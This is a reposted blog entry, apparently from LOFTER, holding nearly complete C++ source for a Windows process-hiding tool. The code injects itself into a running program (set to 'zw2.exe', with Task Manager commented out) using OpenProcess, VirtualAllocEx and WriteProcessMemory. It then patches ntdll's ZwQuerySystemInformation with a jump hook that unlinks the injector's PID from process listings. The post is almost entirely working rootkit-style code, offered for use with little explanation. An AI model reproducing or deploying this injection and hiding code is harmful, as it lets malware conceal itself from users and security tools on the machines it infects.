happyboy200032的博客

[转]hook ZwQuerySystemInformation 隐藏进程

该程序用vs2010编译通过。编译时选择release版本。 
 
该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。 
 
[cpp] view plaincopy 
// HideProcess.cpp : Defines the entry point for the console application. 
// 
 
#include "stdafx.h" 
#include <conio.h> 
//#include <fstream.h> 
 
typedef LONG NTSTATUS; 
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
 
typedef enum _SYSTEM_INFORMATION_CLASS 

    SystemBasicInformation,              // 0        Y        N 
    SystemProcessorInformation,          // 1        Y        N 
    SystemPerformanceInformation,        // 2        Y        N 
    SystemTimeOfDayInformation,          // 3        Y        N 
    SystemNotImplemented1,               // 4        Y        N 
    SystemProcessesAndThreadsInformation, // 5       Y        N 
    SystemCallCounts,                    // 6        Y        N 
    SystemConfigurationInformation,      // 7        Y        N 
    SystemProcessorTimes,                // 8        Y        N 
    SystemGlobalFlag,                    // 9        Y        Y 
    SystemNotImplemented2,               // 10       Y        N 
    SystemModuleInformation,             // 11       Y        N 
    SystemLockInformation,               // 12       Y        N 
    SystemNotImplemented3,               // 13       Y        N 
    SystemNotImplemented4,               // 14       Y        N 
    SystemNotImplemented5,               // 15       Y        N 
    SystemHandleInformation,             // 16       Y        N 
    SystemObjectInformation,             // 17       Y        N 
    SystemPagefileInformation,           // 18       Y        N 
    SystemInstructionEmulationCounts,    // 19       Y        N 
    SystemInvalidInfoClass1,             // 20 
    SystemCacheInformation,              // 21       Y        Y 
    SystemPoolTagInformation,            // 22       Y        N 
    SystemProcessorStatistics,           // 23       Y        N 
    SystemDpcInformation,                // 24       Y        Y 
    SystemNotImplemented6,               // 25       Y        N 
    SystemLoadImage,                     // 26       N        Y 
    SystemUnloadImage,                   // 27       N        Y 
    SystemTimeAdjustment,                // 28       Y        Y 
    SystemNotImplemented7,               // 29       Y        N 
    SystemNotImplemented8,               // 30       Y        N 
    SystemNotImplemented9,               // 31       Y        N 
    SystemCrashDumpInformation,          // 32       Y        N 
    SystemExceptionInformation,          // 33       Y        N 
    SystemCrashDumpStateInformation,     // 34       Y        Y/N 
    SystemKernelDebuggerInformation,     // 35       Y        N 
    SystemContextSwitchInformation,      // 36       Y        N 
    SystemRegistryQuotaInformation,      // 37       Y        Y 
    SystemLoadAndCallImage,              // 38       N        Y 
    SystemPrioritySeparation,            // 39       N        Y 
    SystemNotImplemented10,              // 40       Y        N 
    SystemNotImplemented11,              // 41       Y        N 
    SystemInvalidInfoClass2,             // 42 
    SystemInvalidInfoClass3,             // 43 
    SystemTimeZoneInformation,           // 44       Y        N 
    SystemLookasideInformation,          // 45       Y        N 
    SystemSetTimeSlipEvent,              // 46       N        Y 
    SystemCreateSession,                 // 47       N        Y 
    SystemDeleteSession,                 // 48       N        Y 
    SystemInvalidInfoClass4,             // 49 
    SystemRangeStartInformation,         // 50       Y        N 
    SystemVerifierInformation,           // 51       Y        Y 
    SystemAddVerifier,                   // 52       N        Y 
    SystemSessionProcessesInformation    // 53       Y        N 
} SYSTEM_INFORMATION_CLASS; 
 
typedef struct _CLIENT_ID 

    HANDLE UniqueProcess; 
    HANDLE UniqueThread; 
} CLIENT_ID, *PCLIENT_ID; 
 
typedef struct 

    USHORT Length; 
    USHORT MaxLen; 
    USHORT *Buffer; 
} UNICODE_STRING, *PUNICODE_STRING; 
 
typedef struct _OBJECT_ATTRIBUTES 

    ULONG Length; 
    HANDLE RootDirectory; 
    PUNICODE_STRING ObjectName; 
    ULONG Attributes; 
    PVOID SecurityDescriptor; 
    PVOID SecurityQualityOfService; 
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 
 
typedef struct _IO_COUNTERSEX 

    LARGE_INTEGER ReadOperationCount; 
    LARGE_INTEGER WriteOperationCount; 
    LARGE_INTEGER OtherOperationCount; 
    LARGE_INTEGER ReadTransferCount; 
    LARGE_INTEGER WriteTransferCount; 
    LARGE_INTEGER OtherTransferCount; 
} IO_COUNTERSEX, *PIO_COUNTERSEX; 
 
typedef enum 

    StateInitialized, 
    StateReady, 
    StateRunning, 
    StateStandby, 
    StateTerminated, 
    StateWait, 
    StateTransition, 
    StateUnknown 
} THREAD_STATE; 
 
typedef struct _VM_COUNTERS 

    SIZE_T PeakVirtualSize; 
    SIZE_T VirtualSize; 
    ULONG PageFaultCount; 
    SIZE_T PeakWorkingSetSize; 
    SIZE_T WorkingSetSize; 
    SIZE_T QuotaPeakPagedPoolUsage; 
    SIZE_T QuotaPagedPoolUsage; 
    SIZE_T QuotaPeakNonPagedPoolUsage; 
    SIZE_T QuotaNonPagedPoolUsage; 
    SIZE_T PagefileUsage; 
    SIZE_T PeakPagefileUsage; 
} VM_COUNTERS; 
typedef VM_COUNTERS *PVM_COUNTERS; 
 
typedef struct _SYSTEM_THREADS 

    LARGE_INTEGER KernelTime; 
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER CreateTime; 
    ULONG WaitTime; 
    PVOID StartAddress; 
    CLIENT_ID ClientId; 
    ULONG Priority; 
    ULONG BasePriority; 
    ULONG ContextSwitchCount; 
    THREAD_STATE State; 
    ULONG WaitReason; 
} SYSTEM_THREADS, *PSYSTEM_THREADS; 
 
typedef struct _SYSTEM_PROCESSES   // Information Class 5 

    ULONG NextEntryDelta; 
    ULONG ThreadCount; 
    ULONG Reserved1[6]; 
    LARGE_INTEGER CreateTime; 
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER KernelTime; 
    UNICODE_STRING ProcessName; 
    ULONG BasePriority; 
    ULONG ProcessId; 
    ULONG InheritedFromProcessId; 
    ULONG HandleCount; 
    ULONG Reserved2[2]; 
    VM_COUNTERS VmCounters; 
    IO_COUNTERSEX IoCounters;  // Windows 2000 only 
    SYSTEM_THREADS Threads[1]; 
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; 
 
 
typedef 
NTSTATUS 
(NTAPI *ZWQUERYSYSTEMINFORMATION)( 
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
    OUT PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength OPTIONAL 
); 
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); 
 
PVOID g_lpRemoteAllocBase; 
 
DWORD GetFunAddress(PUCHAR lpFunStart) 

    DWORD dwFunAddress; 
    if (*lpFunStart == 0xE9) 
    { 
        //在Debug版本里VC会做一个跳转 
        dwFunAddress = (DWORD)lpFunStart + *(DWORD *)(lpFunStart + 1) + 5; 
    } 
    else 
    { 
        dwFunAddress = (DWORD)lpFunStart; 
    } 
    return dwFunAddress; 

 
__declspec (naked) VOID FunStart() 

    _asm 
    { 
        nop 
        nop 
    } 
};//定义函数开始的位置 release版本 没用 
 
__declspec (naked) VOID ZwQuerySystemInformationProxy() 

    //这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是5个字节 
    _asm 
    { 
        nop 
        nop 
        nop 
        nop 
        nop 
        mov ebx, 0x88888888 //ZwQuerySystemInformation  方便特征定位 
        add ebx, 5 
        jmp ebx 
    } 

 
NTSTATUS 
NTAPI 
ZwQuerySystemInformationCallback( 
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
    OUT PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength OPTIONAL 


    NTSTATUS ntStatus; 
    PSYSTEM_PROCESSES pSystemProcesses = NULL, Prev; 
 
    _asm 
    { 
        push ebx 
        push ReturnLength 
        push SystemInformationLength 
        push SystemInformation 
        push SystemInformationClass 
        call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改 
        mov ntStatus, eax 
        pop ebx 
    } 
 
    if (NT_SUCCESS(ntStatus) && SystemInformationClass == SystemProcessesAndThreadsInformation) 
    { 
        pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation; 
        while (TRUE) 
        { 
            if (pSystemProcesses->ProcessId == 0x12345678) //如果是我们需要隐藏的PID就进行数据修改 
                //0x12345678 在注入的时候,将会被替换为注入程序进程的PID 
            { 
                if (pSystemProcesses->NextEntryDelta) 
                { 
                    //当我们需要隐藏的进程后面还有进程时 
                    //越过我们自己进程让NextEntryDelta直接指向下一个数据块 
                    Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta; 
                } 
                else 
                { 
                    //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0 
                    //这时系统在遍历我们进程时就不会发现了 
                    Prev->NextEntryDelta = 0; 
                } 
                break;//多个PID比较时候,这里千万要去掉!!! 
            } 
            if (!pSystemProcesses->NextEntryDelta) break; 
            Prev = pSystemProcesses; 
            pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta); 
        } 
    } 
    return ntStatus; 

 
__declspec (naked) VOID FunEnd() 

    _asm {nop} 
};//定义函数结束的位置 
 
BOOLEAN SetHook(DWORD dwProcessId, DWORD dwHideId) //参数1注入的目标进程ID 参数2当前进程ID 

    BOOLEAN bRet = FALSE; 
    DWORD OldProtect; 
    DWORD dwCodeStart, dwCodeEnd, dwCodeSize; 
    BYTE HookCode[5] = {0xE9, 0, 0, 0, 0}; 
    HANDLE hProcess = NULL; 
    PVOID RemoteAllocBase = NULL; 
    DWORD dwFunAddress; 
    PUCHAR pBuffer; 
    dwCodeStart = GetFunAddress((PUCHAR)ZwQuerySystemInformationProxy); 
    dwCodeEnd = GetFunAddress((PUCHAR)FunEnd); 
    dwCodeSize = dwCodeEnd - dwCodeStart; //需要注入代码的长度 
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 
                           FALSE, 
                           dwProcessId 
                          );//打开目标进程 
 
    if (hProcess) 
    { 
 
        RemoteAllocBase = VirtualAllocEx(hProcess, 
                                         NULL, 
                                         dwCodeSize, 
                                         MEM_COMMIT, 
                                         PAGE_EXECUTE_READWRITE 
                                        );//申请内存地址 
 
        if (RemoteAllocBase) 
        { 
            printf("\t申请内存地址:0x%x\n", RemoteAllocBase); 
            g_lpRemoteAllocBase = RemoteAllocBase; 
            if (ZwQuerySystemInformation) 
            { 
                bRet = VirtualProtect((PVOID)dwCodeStart, 
                                      dwCodeSize, 
                                      PAGE_EXECUTE_READWRITE, 
                                      &OldProtect 
                                     );//打开内存保护 
                if (bRet) 
                { 
                    memcpy((PVOID)dwCodeStart, ZwQuerySystemInformation, 5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的 
                    *(DWORD *)(dwCodeStart + 6) = (DWORD)ZwQuerySystemInformation; //这里不需要用特征定位,因为肯定是在第六个字节开始的地方 
                    *HookCode = 0xE9; 
                    dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback); 
                    dwFunAddress -= dwCodeStart; 
                    dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址 
                    printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n", dwFunAddress); 
                    *(DWORD *)&HookCode[1] = dwFunAddress - 5 - (DWORD)ZwQuerySystemInformation; 
 
                    dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback); 
                    for (pBuffer = (PUCHAR)dwFunAddress; //自定义回调函数的起始位置 
                            //pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);//自定义回调函数的结束位置 
                            pBuffer < (PUCHAR)dwCodeEnd; 
                            pBuffer++ 
                        ) 
                    { 
                        if (*(DWORD *)pBuffer == 0x12345678) 
                        { 
                            *(DWORD *)pBuffer = dwHideId;//注入进程的PID 
                            printf("\t成功找到目标,并替换,注入进程的PID:0x%x\n", dwHideId); 
                            //break;//release版本可能有2个0*12345678 
                        } 
                    } 
                    VirtualProtect((PVOID)dwCodeStart, 
                                   dwCodeSize, 
                                   PAGE_EXECUTE_READWRITE, 
                                   &OldProtect 
                                  ); 
                } 
            } 
            bRet = WriteProcessMemory(hProcess, 
                                      RemoteAllocBase, 
                                      (PVOID)dwCodeStart, 
                                      dwCodeSize, 
                                      NULL 
                                     ); 
            if (bRet) 
            { 
                bRet = WriteProcessMemory(hProcess, 
                                          ZwQuerySystemInformation, 
                                          HookCode, 
                                          5, 
                                          NULL 
                                         ); 
            } 
        } 
        CloseHandle(hProcess); 
    } 
    return bRet; 

 
BOOLEAN UnHook(DWORD dwProcessId) 

    HANDLE hProcess = NULL; 
    BOOLEAN bRet = FALSE; 
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 
                           FALSE, 
                           dwProcessId 
                          ); 
 
    if (hProcess) 
    { 
        bRet = WriteProcessMemory(hProcess, 
                                  ZwQuerySystemInformation, 
                                  g_lpRemoteAllocBase, 
                                  5, 
                                  NULL 
                                 ); 
        /*VirtualFreeEx(hProcess, 
                      g_lpRemoteAllocBase, 
                      0, 
                      MEM_RELEASE 
                      );*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃 
    } 
    return bRet; 

 
 
DWORD GetTaskMgrId() 

    NTSTATUS ntStatus; 
    ULONG i = 1; 
    PVOID pBuffer = NULL; 
    ULONG ReturnLength = 0; 
    PSYSTEM_PROCESSES pSystemProcesses = NULL; 
    char szProcName[256]; 
    DWORD dwProcessId = -1; 
 
    do 
    { 
        if (ReturnLength) 
            pBuffer = new BYTE[ReturnLength]; 
        else 
            pBuffer = new BYTE[i * 0x1000]; 
        if (pBuffer) 
        { 
            ntStatus = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, 
                                                pBuffer, 
                                                ReturnLength == 0 ? i * 0x1000 : ReturnLength, 
                                                &ReturnLength 
                                               ); 
            if (NT_SUCCESS(ntStatus)) 
            { 
                break; 
            } 
            else if (ntStatus == STATUS_INFO_LENGTH_MISMATCH) 
            { 
                delete []pBuffer; 
                pBuffer = NULL; 
            } 
            i++; 
        } 
        else 
        { 
            break; 
        } 
    } 
    while(ntStatus == STATUS_INFO_LENGTH_MISMATCH); 
 
    if (pBuffer) 
    { 
        pSystemProcesses = (PSYSTEM_PROCESSES)pBuffer; 
        while (TRUE) 
        { 
            if (pSystemProcesses->ProcessName.Buffer) 
            { 
                memset(szProcName, 0, 256); 
                wsprintf(szProcName, "%S", pSystemProcesses->ProcessName.Buffer); 
                if (strnicmp(szProcName, "zw2.exe", strlen("zw2.exe")) == 0) 
                    //if (strnicmp(szProcName,"Taskmgr.exe",strlen("Taskmgr.exe"))==0) 
                { 
                    dwProcessId = pSystemProcesses->ProcessId; 
                    break; 
                } 
            } 
            if (!pSystemProcesses->NextEntryDelta) break; 
            pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta); 
        } 
        delete []pBuffer; 
    } 
    return dwProcessId; 

 
int main(int argc, char *argv[]) 

    DWORD dwTaskMgrId = GetTaskMgrId(); 
    int i; 
    if (dwTaskMgrId != -1) 
    { 
        if (SetHook(dwTaskMgrId, GetCurrentProcessId())) 
        { 
            printf("\t请按 \"c\" 或者 \"C\" 键退出程序\r\n"); 
            while (TRUE) 
            { 
                Sleep(10); 
                i = getch(); 
                if (i == 'c' || i == 'C') 
                    break; 
            } 
            UnHook(dwTaskMgrId); 
        } 
        else 
        { 
            printf("\t安装Hook失败...\r\n"); 
        } 
    } 
    else 
    { 
        printf("\t目前还没有发现 TaskMgr.exe 处于运行中...\r\n"); 
    } 
    return 0; 

 

评论

技术经验积累

© happyboy200032的博客 | Powered by LOFTER